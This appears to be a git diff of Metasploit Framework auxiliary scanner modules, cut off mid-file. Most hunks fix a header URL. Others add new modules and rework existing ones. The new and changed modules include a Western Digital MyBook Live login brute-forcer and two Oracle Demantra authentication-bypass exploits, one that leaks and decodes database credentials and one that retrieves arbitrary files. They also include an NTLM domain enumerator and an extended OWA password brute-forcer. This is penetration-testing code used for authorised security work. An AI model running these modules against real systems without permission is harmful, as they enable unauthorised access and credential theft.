-# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/ms09_020_webdav_unicode_bypass.rb b/modules/auxiliary/scanner/http/ms09_020_webdav_unicode_bypass.rb index d919365b30..8f60998e85 100644 --- a/modules/auxiliary/scanner/http/ms09_020_webdav_unicode_bypass.rb +++ b/modules/auxiliary/scanner/http/ms09_020_webdav_unicode_bypass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/mybook_live_login.rb b/modules/auxiliary/scanner/http/mybook_live_login.rb new file mode 100644 index 0000000000..73a63d7d28 --- /dev/null +++ b/modules/auxiliary/scanner/http/mybook_live_login.rb @@ -0,0 +1,94 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/mybook_live' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + + def initialize + super( + 'Name' => 'Western Digital MyBook Live Login Utility', + 'Description' => 'This module simply attempts to login to a Western Digital MyBook Live instance using a specific user/pass.', + 'Author' => [ 'Nicholas Starke <starke.nicholas[at]gmail.com>' ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(80) + ], self.class) + + register_autofilter_ports([ 80 ]) + + # username is hardcoded into application + deregister_options('RHOST', 'USERNAME', 'USER_FILE', 'USER_AS_PASS', 'DB_ALL_USERS') + end + + def setup + super + # They must select at least blank passwords, provide a pass file or a password + one_required = %w(BLANK_PASSWORDS PASS_FILE PASSWORD) + unless one_required.any? { |o| datastore.has_key?(o) && datastore[o] } + fail_with(Failure::BadConfig, "Invalid options: One of #{one_required.join(', ')} must be set") + end + if !datastore['PASS_FILE'] + if !datastore['BLANK_PASSWORDS'] && datastore['PASSWORD'].blank? + fail_with(Failure::BadConfig, "PASSWORD or PASS_FILE must be set to a non-empty string if not BLANK_PASSWORDS") + end + end + end + + def run_host(ip) + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + username: 'admin' + ) + + scanner = Metasploit::Framework::LoginScanner::MyBookLive.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 10, + user_agent: datastore['UserAgent'], + vhost: datastore['VHOST'], + framework: framework, + framework_module: self, + ) + + if ssl + scanner.ssl = datastore['SSL'] + scanner.ssl_version = datastore['SSLVERSION'] + end + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: fullname, + workspace_id: myworkspace_id + ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + else + invalidate_login(credential_data) + vprint_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})" + end + end + end +end diff --git a/modules/auxiliary/scanner/http/netdecision_traversal.rb b/modules/auxiliary/scanner/http/netdecision_traversal.rb index 77abd0e20c..0d6064563a 100644 --- a/modules/auxiliary/scanner/http/netdecision_traversal.rb +++ b/modules/auxiliary/scanner/http/netdecision_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb b/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb index 586c20be82..57e6fc9be2 100644 --- a/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb +++ b/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/nginx_source_disclosure.rb b/modules/auxiliary/scanner/http/nginx_source_disclosure.rb index fa4d296f94..a7a84b81b3 100644 --- a/modules/auxiliary/scanner/http/nginx_source_disclosure.rb +++ b/modules/auxiliary/scanner/http/nginx_source_disclosure.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -89,7 +89,7 @@ class Metasploit3 < Msf::Auxiliary save_source.puts(res.body.to_s) save_source.close - print_status("#{target_url} - nginx - File successfully saved: #{path_save}#{uri}") if (File.exists?("#{path_save}#{uri}")) + print_status("#{target_url} - nginx - File successfully saved: #{path_save}#{uri}") if (File.exists?("#{path_save}#{uri}")) else print_error("http://#{vhost}:#{rport} - nginx - Unrecognized #{res.code} response") diff --git a/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb b/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb index 02791f3501..bc2663f8f3 100644 --- a/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb +++ b/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -38,7 +38,7 @@ class Metasploit4 < Msf::Auxiliary [ Opt::RPORT(3037), OptBool.new('SSL', [true, 'Use SSL', true]), - OptString.new('RFILE', [true, 'Remote File', 'boot.ini']), + OptString.new('RFILE', [true, 'Remote File', 'windows\\win.ini']), OptInt.new('DEPTH', [true, 'Traversal depth', 6]) ], self.class) diff --git a/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb b/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb index 3f3f1b83ba..844c503987 100644 --- a/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb +++ b/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -38,7 +38,7 @@ class Metasploit4 < Msf::Auxiliary [ Opt::RPORT(3037), OptBool.new('SSL', [true, 'Use SSL', true]), - OptString.new('RFILE', [true, 'Remote File', 'c:\\boot.ini']) + OptString.new('RFILE', [true, 'Remote File', 'c:\\windows\\win.ini']) ], self.class) register_autofilter_ports([ 3037 ]) diff --git a/modules/auxiliary/scanner/http/novell_mdm_creds.rb b/modules/auxiliary/scanner/http/novell_mdm_creds.rb index 84df7d76cd..bb72666909 100644 --- a/modules/auxiliary/scanner/http/novell_mdm_creds.rb +++ b/modules/auxiliary/scanner/http/novell_mdm_creds.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb b/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb index 4d0b066114..dbdabaabbc 100644 --- a/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb +++ b/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' @@ -19,47 +19,66 @@ class Metasploit3 < Msf::Auxiliary resources which permit NTLM authentication, a blank NTLM type 1 message is sent to enumerate a a type 2 message from the target server. The type 2 message is then parsed for information such as the Active Directory - domain and NetBIOS name. + domain and NetBIOS name. A single URI can be specified with TARGET_URI + and/or a file of URIs can be specified with TARGET_URIS_FILE (default). }, 'Author' => 'Brandon Knight', 'License' => MSF_LICENSE ) register_options( [ - OptPath.new('TARGETURIS', [ true, "Path to list of URIs to request", File.join(Msf::Config.data_directory, "wordlists", "http_owa_common.txt")]) + OptString.new('TARGET_URI', [ false, "Single target URI", nil]), + OptPath.new('TARGET_URIS_FILE', [ false, "Path to list of URIs to request", + File.join(Msf::Config.data_directory, "wordlists", "http_owa_common.txt")]), ], self.class) end def run_host(ip) - File.open(datastore['TARGETURIS'], 'rb').each_line do |line| - test_uri = line.chomp - test_path = normalize_uri(test_uri) - result = check_url(test_path) - if result - message = "Enumerated info on #{peer}#{test_path} - " - message << "(name:#{result[:nb_name]}) " - message << "(domain:#{result[:nb_domain]}) " - message << "(domain_fqdn:#{result[:dns_domain]}) " - message << "(server_fqdn:#{result[:dns_server]})" - print_good(message) - report_note( - :host => ip, - :port => rport, - :proto => 'tcp', - :sname => (ssl ? 'https' : 'http'), - :ntype => 'ntlm.enumeration.info', - :data => { - :uri=>test_path, - :SMBName => result[:nb_name], - :SMBDomain => result[:nb_domain], - :FQDNDomain => result[:dns_domain], - :FQDNName => result[:dns_server] - }, - :update => :unique_data - ) - return + test_uris = [] + turi = datastore['TARGET_URI'] + turis_file = datastore['TARGET_URIS_FILE'] + if (!turi && !turis_file) + # can't simply return here as we'll print an error for each host + fail_with "Either TARGET_URI or TARGET_URIS_FILE must be specified" + end + if (turi and !turi.blank?) + test_uris << normalize_uri(turi) + end + if (turis_file && !turis_file.blank?) + File.open(turis_file, 'rb') { |f| test_uris += f.readlines } + test_uris.collect! do |test_uri| + normalize_uri(test_uri.chomp) end end + test_uris.each do |test_path| + result = check_url(test_path) + # no need to try the other uris if one of them works. + return handle_result(test_path, result) if result + end + end + + def handle_result(path, result) + message = "Enumerated info on #{peer}#{path} - " + message << "(name:#{result[:nb_name]}) " + message << "(domain:#{result[:nb_domain]}) " + message << "(domain_fqdn:#{result[:dns_domain]}) " + message << "(server_fqdn:#{result[:dns_server]})" + print_good(message) + report_note( + :host => rhost, + :port => rport, + :proto => 'tcp', + :sname => (ssl ? 'https' : 'http'), + :ntype => 'ntlm.enumeration.info', + :data => { + :uri => path, + :SMBName => result[:nb_name], + :SMBDomain => result[:nb_domain], + :FQDNDomain => result[:dns_domain], + :FQDNName => result[:dns_server] + }, + :update => :unique_data + ) end def check_url(test_uri) @@ -72,31 +91,6 @@ class Metasploit3 < Msf::Auxiliary 'method' => 'GET', 'headers' => { "Authorization" => "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="} }) - - return if res.nil? - - vprint_status("Status: #{res.code}") - if res and res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i) - hash = res['WWW-Authenticate'].split('NTLM ')[1] - #Parse out the NTLM and just get the Target Information Data - target = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_info].value() - # Retrieve Domain name subblock info - nb_domain = parse_ntlm_info(target, "\x02\x00", 0) - # Retrieve Server name subblock info - nb_name = parse_ntlm_info(target, "\x01\x00", nb_domain[:new_offset]) - # Retrieve DNS domain name subblock info - dns_domain = parse_ntlm_info(target, "\x04\x00", nb_name[:new_offset]) - # Retrieve DNS server name subblock info - dns_server = parse_ntlm_info(target, "\x03\x00", dns_domain[:new_offset]) - - return { - :nb_name => nb_name[:message], - :nb_domain => nb_domain[:message], - :dns_domain => dns_domain[:message], - :dns_server => dns_server[:message] - } - end - rescue OpenSSL::SSL::SSLError vprint_error("#{peer} - SSL error") return @@ -108,6 +102,29 @@ class Metasploit3 < Msf::Auxiliary return end + return if res.nil? + + vprint_status("Status: #{res.code}") + if res and res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i) + hash = res['WWW-Authenticate'].split('NTLM ')[1] + # Parse out the NTLM and just get the Target Information Data + target = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_info].value() + # Retrieve Domain name subblock info + nb_domain = parse_ntlm_info(target, "\x02\x00", 0) + # Retrieve Server name subblock info + nb_name = parse_ntlm_info(target, "\x01\x00", nb_domain[:new_offset]) + # Retrieve DNS domain name subblock info + dns_domain = parse_ntlm_info(target, "\x04\x00", nb_name[:new_offset]) + # Retrieve DNS server name subblock info + dns_server = parse_ntlm_info(target, "\x03\x00", dns_domain[:new_offset]) + + return { + :nb_name => nb_name[:message], + :nb_domain => nb_domain[:message], + :dns_domain => dns_domain[:message], + :dns_server => dns_server[:message] + } + end end def parse_ntlm_info(message,pattern,offset) diff --git a/modules/auxiliary/scanner/http/open_proxy.rb b/modules/auxiliary/scanner/http/open_proxy.rb index 9fcc2a2335..9a3b355d5a 100644 --- a/modules/auxiliary/scanner/http/open_proxy.rb +++ b/modules/auxiliary/scanner/http/open_proxy.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Auxiliary OptBool.new('VERIFY_CONNECT', [ false, 'Enable test for CONNECT method', false ]), OptBool.new('VERIFY_HEAD', [ false, 'Enable test for HEAD method', false ]), OptBool.new('LOOKUP_PUBLIC_ADDRESS', [ false, 'Enable test for retrieve public IP address via RIPE.net', false ]), - OptString.new('SITE', [ true, 'The web site to test via alleged web proxy (default is www.google.com)', '209.85.148.147' ]), + OptString.new('SITE', [ true, 'The web site to test via alleged web proxy (default is www.google.com)', 'www.google.com' ]), OptString.new('ValidCode', [ false, "Valid HTTP code for a successfully request", '200,302' ]), OptString.new('ValidPattern', [ false, "Valid HTTP server header for a successfully request", 'server: gws' ]), OptString.new('UserAgent', [ true, 'The HTTP User-Agent sent in the request', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ]), @@ -60,14 +60,16 @@ class Metasploit3 < Msf::Auxiliary if datastore['MULTIPORTS'] target_ports = [ 80, 1080, 3128, 8080, 8123 ] - else - target_ports.push(datastore['RPORT'].to_i) end + target_ports.push(datastore['RPORT'].to_i) + if datastore['RANDOMIZE_PORTS'] target_ports = target_ports.sort_by { rand } end + target_ports = target_ports.uniq + site = datastore['SITE'] user_agent = datastore['UserAgent'] @@ -97,7 +99,7 @@ class Metasploit3 < Msf::Auxiliary request = method + " http://" + site + "/ HTTP/1.1" + "\r\n" + "Host: " + site + "\r\n" + "Connection: close" + "\r\n" + - "User-Agent: user_agent" + "\r\n" + + "User-Agent: #{user_agent}" + "\r\n" + "Accept-Encoding: *" + "\r\n" + "Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7" + "\r\n" + "Cache-Control: no" + "\r\n" + @@ -115,7 +117,7 @@ class Metasploit3 < Msf::Auxiliary request = write_request('GET',site,user_agent) sock.put(request) - res = sock.get + res = sock.get_once(-1, 10) disconnect @@ -167,7 +169,7 @@ class Metasploit3 < Msf::Auxiliary request = write_request('GET',ripe_address,user_agent) sock.put(request) - res = sock.get + res = sock.get_once(-1, 10) disconnect diff --git a/modules/auxiliary/scanner/http/openmind_messageos_login.rb b/modules/auxiliary/scanner/http/openmind_messageos_login.rb index dc6ff3b0c0..31b186aaa1 100644 --- a/modules/auxiliary/scanner/http/openmind_messageos_login.rb +++ b/modules/auxiliary/scanner/http/openmind_messageos_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/options.rb b/modules/auxiliary/scanner/http/options.rb index cbb6886213..1839e47ddd 100644 --- a/modules/auxiliary/scanner/http/options.rb +++ b/modules/auxiliary/scanner/http/options.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/oracle_demantra_database_credentials_leak.rb b/modules/auxiliary/scanner/http/oracle_demantra_database_credentials_leak.rb new file mode 100644 index 0000000000..fb87ec82e4 --- /dev/null +++ b/modules/auxiliary/scanner/http/oracle_demantra_database_credentials_leak.rb @@ -0,0 +1,78 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Oracle Demantra Database Credentials Leak', + 'Description' => %q{ + This module exploits a database credentials leak found in Oracle Demantra 12.2.1 in + combination with an authentication bypass. This way an unauthenticated user can retrieve + the database name, username and password on any vulnerable machine. + }, + 'References' => + [ + [ 'CVE', '2013-5795'], + [ 'CVE', '2013-5880'], + [ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2013-5795/'], + [ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2013-5880/' ] + ], + 'Author' => + [ + 'Oliver Gruskovnjak' + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => "Feb 28 2014" + )) + + register_options( + [ + Opt::RPORT(8080), + OptBool.new('SSL', [false, 'Use SSL', false]) + ], self.class) + + deregister_options('RHOST') + end + + def run_host(ip) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('demantra', 'common', 'loginCheck.jsp', '..', '..', 'ServerDetailsServlet'), + 'vars_get' => { + 'UAK' => '406EDC5447A3A43551CDBA06535FB6A661F4DC1E56606915AC4E382D204B8DC1' + } + }) + + if res.nil? or res.body.empty? + vprint_error("#{peer} - No content retrieved") + return + end + + if res.code == 404 + vprint_error("#{peer} - File not found") + return + end + + if res.code == 200 + creds = "" + + vprint_status("#{peer} - String received: #{res.body.to_s}") unless res.body.blank? + + res.body.to_s.split(",").each do|c| + i = c.to_i ^ 0x50 + creds += i.chr + end + print_good("#{peer} - Credentials decoded: #{creds}") unless creds.empty? + end + end + +end diff --git a/modules/auxiliary/scanner/http/oracle_demantra_file_retrieval.rb b/modules/auxiliary/scanner/http/oracle_demantra_file_retrieval.rb new file mode 100644 index 0000000000..0392e70d98 --- /dev/null +++ b/modules/auxiliary/scanner/http/oracle_demantra_file_retrieval.rb @@ -0,0 +1,84 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Oracle Demantra Arbitrary File Retrieval with Authentication Bypass', + 'Description' => %q{ + This module exploits a file download vulnerability found in Oracle + Demantra 12.2.1 in combination with an authentication bypass. By + combining these exposures, an unauthenticated user can retreive any file + on the system by referencing the full file path to any file a vulnerable + machine. + }, + 'References' => + [ + [ 'CVE', '2013-5877'], + [ 'CVE', '2013-5880'], + [ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2013-5877/'], + [ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2013-5880/'] + ], + 'Author' => + [ + 'Oliver Gruskovnjak' + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => "Feb 28 2014" + )) + + register_options( + [ + Opt::RPORT(8080), + OptBool.new('SSL', [false, 'Use SSL', false]), + OptString.new('FILEPATH', [true, 'The name of the file to download', 'c:/windows/win.ini']) + ], self.class) + + deregister_options('RHOST') + end + + def run_host(ip) + filename = datastore['FILEPATH'] + authbypass = "/demantra/common/loginCheck.jsp/../../GraphServlet" + + res = send_request_cgi({ + 'uri' => normalize_uri(authbypass), + 'method' => 'POST', + 'encode_params' => false, + 'vars_post' => { + 'filename' => "#{filename}%00" + } + }) + + if res.nil? or res.body.empty? + fail_with("No content retrieved from: #{ip}") + end + + if res.code == 404 + print_error("#{rhost}:#{rport} - File not found") + return + end + + if res.code == 200 + print_status("#{ip}:#{rport} returns: #{res.code.to_s}") + fname = File.basename(datastore['FILEPATH']) + path = store_loot( + 'oracle.demantra', + 'application/octet-stream', + ip, + res.body, + fname) + + print_good("#{ip}:#{rport} - File saved in: #{path}") + end + end +end diff --git a/modules/auxiliary/scanner/http/oracle_ilom_login.rb b/modules/auxiliary/scanner/http/oracle_ilom_login.rb index f180ec8f9a..0c1f907769 100644 --- a/modules/auxiliary/scanner/http/oracle_ilom_login.rb +++ b/modules/auxiliary/scanner/http/oracle_ilom_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/owa_login.rb b/modules/auxiliary/scanner/http/owa_login.rb index 598a5b7df0..c52af77d20 100644 --- a/modules/auxiliary/scanner/http/owa_login.rb +++ b/modules/auxiliary/scanner/http/owa_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -11,13 +11,14 @@ class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + def initialize super( 'Name' => 'Outlook Web App (OWA) Brute Force Utility', 'Description' => %q{ - This module tests credentials on OWA 2003, 2007 and 2010 servers. The default - action is set to OWA 2010. + This module tests credentials on OWA 2003, 2007, 2010, and 2013 servers. }, 'Author' => [ @@ -25,13 +26,14 @@ class Metasploit3 < Msf::Auxiliary 'Spencer McIntyre', 'SecureState R&D Team', 'sinn3r', - 'Brandon Knight' + 'Brandon Knight', + 'Pete (Bokojan) Arzamendi, #Outlook 2013 updates' ], 'License' => MSF_LICENSE, 'Actions' => [ [ - 'OWA 2003', + 'OWA_2003', { 'Description' => 'OWA version 2003', 'AuthPath' => '/exchweb/bin/auth/owaauth.dll', @@ -40,7 +42,7 @@ class Metasploit3 < Msf::Auxiliary } ], [ - 'OWA 2007', + 'OWA_2007', { 'Description' => 'OWA version 2007', 'AuthPath' => '/owa/auth/owaauth.dll', @@ -49,58 +51,48 @@ class Metasploit3 < Msf::Auxiliary } ], [ - 'OWA 2010', + 'OWA_2010', { 'Description' => 'OWA version 2010', 'AuthPath' => '/owa/auth.owa', 'InboxPath' => '/owa/', 'InboxCheck' => /Inbox|location(\x20*)=(\x20*)"\\\/(\w+)\\\/logoff\.owa|A mailbox couldn\'t be found|\<a .+onclick="return JumpTo\('logoff\.aspx.+\">/ } + ], + [ + 'OWA_2013', + { + 'Description' => 'OWA version 2013', + 'AuthPath' => '/owa/auth.owa', + 'InboxPath' => '/owa/', + 'InboxCheck' => /Inbox|logoff\.owa/ + } ] ], - 'DefaultAction' => 'OWA 2010' + 'DefaultAction' => 'OWA_2013', + 'DefaultOptions' => { + 'SSL' => true + } ) + register_options( [ OptInt.new('RPORT', [ true, "The target port", 443]), + OptAddress.new('RHOST', [ true, "The target address", true]), + OptBool.new('ENUM_DOMAIN', [ true, "Automatically enumerate AD domain using NTLM authentication", true]), ], self.class) + register_advanced_options( [ - OptString.new('AD_DOMAIN', [ false, "Optional AD domain to prepend to usernames", '']), - OptBool.new('ENUM_DOMAIN', [ true, "Automatically enumerate AD domain using NTLM authentication", false]), - OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true]) + OptString.new('AD_DOMAIN', [ false, "Optional AD domain to prepend to usernames", '']) ], self.class) - deregister_options('BLANK_PASSWORDS') + deregister_options('BLANK_PASSWORDS', 'RHOSTS','PASSWORD','USERNAME') end - def cleanup - # Restore the original settings - datastore['BLANK_PASSWORDS'] = @blank_passwords_setting - datastore['USER_AS_PASS'] = @user_as_pass_setting - end - - def run - # Store the original setting - @blank_passwords_setting = datastore['BLANK_PASSWORDS'] - - # OWA doesn't support blank passwords - datastore['BLANK_PASSWORDS'] = false - - # If there's a pre-defined username/password, we need to turn off USER_AS_PASS - # so that the module won't just try username:username, and then exit. - @user_as_pass_setting = datastore['USER_AS_PASS'] - if not datastore['USERNAME'].nil? and not datastore['PASSWORD'].nil? - print_status("Disabling 'USER_AS_PASS' because you've specified an username/password") - datastore['USER_AS_PASS'] = false - end - - vhost = datastore['VHOST'] || datastore['RHOST'] - - print_status("#{msg} Testing version #{action.name}") - + def setup # Here's a weird hack to check if each_user_pass is empty or not # apparently you cannot do each_user_pass.empty? or even inspect() it isempty = true @@ -108,7 +100,13 @@ class Metasploit3 < Msf::Auxiliary isempty = false break end - print_error("No username/password specified") if isempty + raise ArgumentError, "No username/password specified" if isempty + end + + def run + vhost = datastore['VHOST'] || datastore['RHOST'] + + print_status("#{msg} Testing version #{action.name}") auth_path = action.opts['AuthPath'] inbox_path = action.opts['InboxPath'] @@ -126,6 +124,7 @@ class Metasploit3 < Msf::Auxiliary begin each_user_pass do |user, pass| + next if (user.blank? or pass.blank?) vprint_status("#{msg} Trying #{user} : #{pass}") try_user_pass({"user" => user, "domain"=>domain, "pass"=>pass, "auth_path"=>auth_path, "inbox_path"=>inbox_path, "login_check"=>login_check, "vhost"=>vhost}) end @@ -150,9 +149,17 @@ class Metasploit3 < Msf::Auxiliary } if (datastore['SSL'].to_s.match(/^(t|y|1)/i)) - data = 'destination=https://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass + if action.name == "OWA_2013" + data = 'destination=https://' << vhost << '/owa&flags=4&forcedownlevel=0&username=' << user << '&password=' << pass << '&isUtf8=1' + else + data = 'destination=https://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass + end else - data = 'destination=http://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass + if action.name == "OWA_2013" + data = 'destination=http://' << vhost << '/owa&flags=4&forcedownlevel=0&username=' << user << '&password=' << pass << '&isUtf8=1' + else + data = 'destination=http://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass + end end begin @@ -174,16 +181,55 @@ class Metasploit3 < Msf::Auxiliary return :abort end - if not res.headers['set-cookie'] - print_error("#{msg} Received invalid repsonse due to a missing cookie (possibly due to invalid version), aborting") - return :abort + if action.name != "OWA_2013" and res.get_cookies.empty? + print_error("#{msg} Received invalid repsonse due to a missing cookie (possibly due to invalid version), aborting") + return :abort end + if action.name == "OWA_2013" + #Check for a response code to make sure login was valid. Changes from 2010 to 2013. + #Check if the password needs to be changed. + if res.headers['location'] =~ /expiredpassword/ + print_good("#{msg} SUCCESSFUL LOGIN. '#{user}' : '#{pass}': NOTE password change required") + report_hash = { + :host => datastore['RHOST'], + :port => datastore['RPORT'], + :sname => 'owa', + :user => user, + :pass => pass, + :active => true, + :type => 'password'} - # these two lines are the authentication info - sessionid = 'sessionid=' << res.headers['set-cookie'].split('sessionid=')[1].split('; ')[0] - cadata = 'cadata=' << res.headers['set-cookie'].split('cadata=')[1].split('; ')[0] + report_auth_info(report_hash) + return :next_user + end - headers['Cookie'] = 'PBack=0; ' << sessionid << '; ' << cadata + #No password change required moving on. + unless location = res.headers['location'] + print_error("#{msg} No HTTP redirect. This is not OWA 2013, aborting.") + return :abort + end + reason = location.split('reason=')[1] + if reason == nil + headers['Cookie'] = 'PBack=0;' << res.get_cookies + else + #Login didn't work. no point on going on. + vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}' (HTTP redirect with reason #{reason})") + return :Skip_pass + end + else + # The authentication info is in the cookies on this response + cookies = res.get_cookies + cookie_header = 'PBack=0' + %w(sessionid cadata).each do |necessary_cookie| + if cookies =~ /#{necessary_cookie}=([^;]*)/ + cookie_header << "; #{Regexp.last_match(1)}" + else + print_error("#{msg} Missing #{necessary_cookie} cookie. This is not OWA 2010, aborting") + return :abort + end + end + headers['Cookie'] = cookie_header + end begin res = send_request_cgi({ @@ -201,8 +247,8 @@ class Metasploit3 < Msf::Auxiliary return :abort end - if res.code == 302 - vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}'") + if res.redirect? + vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}' (response was a #{res.code} redirect)") return :skip_pass end @@ -221,7 +267,7 @@ class Metasploit3 < Msf::Auxiliary report_auth_info(report_hash) return :next_user else - vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}'") + vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}' (response body did not match)") return :skip_pass end end @@ -256,7 +302,7 @@ class Metasploit3 < Msf::Auxiliary next end - if res and res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i) + if res && res.code == 401 && res.headers.has_key?('WWW-Authenticate') && res.headers['WWW-Authenticate'].match(/^NTLM/i) hash = res['WWW-Authenticate'].split('NTLM ')[1] domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'') print_good("Found target domain: " + domain) diff --git a/modules/auxiliary/scanner/http/pocketpad_login.rb b/modules/auxiliary/scanner/http/pocketpad_login.rb new file mode 100644 index 0000000000..e0ab987b7b --- /dev/null +++ b/modules/auxiliary/scanner/http/pocketpad_login.rb @@ -0,0 +1,104 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include 